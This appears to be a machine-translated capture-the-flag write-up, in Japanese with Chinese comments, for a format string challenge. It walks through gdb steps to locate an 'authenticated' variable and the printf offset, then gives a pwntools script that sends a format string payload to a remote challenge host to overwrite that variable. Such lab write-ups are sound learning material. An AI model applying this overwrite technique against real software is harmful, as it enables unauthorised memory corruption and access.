1. 準備
1.
2. コード監査
入力がyesまたはnoでない限り、書式文字列脆弱性のあるprintf関数が呼び出され、
authenticatedの値が1195526213(16進数:0x47424845)であればフラグを取得できます。
2. アイデア:
認証済み変数が格納されているアドレスに対応する内容を書式文字列で1195526213(16進数:0x47424845)に上書きします。
3. 認証された変数の値が保存されているアドレスを見つけます。
gdb:
b read_flag
r
# 接下来要输入内容,可随便输入
キー コードは下線付きの 2 行にあり、eax+0x48 の値は認証された変数の値が保存されるアドレスです
gdb
。
ni
ni
ni
ni
ni
ni
ni
ni
p $eax + 0x48
認証された変数の値が保存されているアドレスを取得します。
4. フォーマットされた文字列のオフセットを取得します。
理解できない場合は、次の 2 つの記事を参照してください:例による
最も基本的な書式設定文字列の原理
1. プログラムを実行して printf を呼び出します。
gdb
:
b printf
r
# 接下来要输入内容,可随便输入
返信先アドレスは下線部のとおりです
gdb
。
disas 0x8049560
d
b *0x804955b
r
# 接下来输入内容,可输入一些比较有特征的数字,这里以AAAABBBBCCCCDDDD为例
stack 20
2. オフセットを決定する
最初の行の位置からカウントダウンすると 1、2 行目は 11 になるため、オフセットは 11 になります。
5. ペイロードを構築する
from pwn import *
# context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
io = remote("8.134.59.72", 38728)
else:
io = process("./fmtstr2")
authenticated_addr = 0x0804c048
authenticated_value = 0x47424845
offset = 11
# payload = b'%66c%22$hhn%3c%23$hhn%2c%24$hhn%1c%25$hhnaaaJ\xc0\x04\x08H\xc0\x04\x08K\xc0\x04\x08I\xc0\x04\x08'
payload=fmtstr_payload(offset,{
authenticated_addr:authenticated_value})
print(payload)
io.sendline(payload)
io.interactive()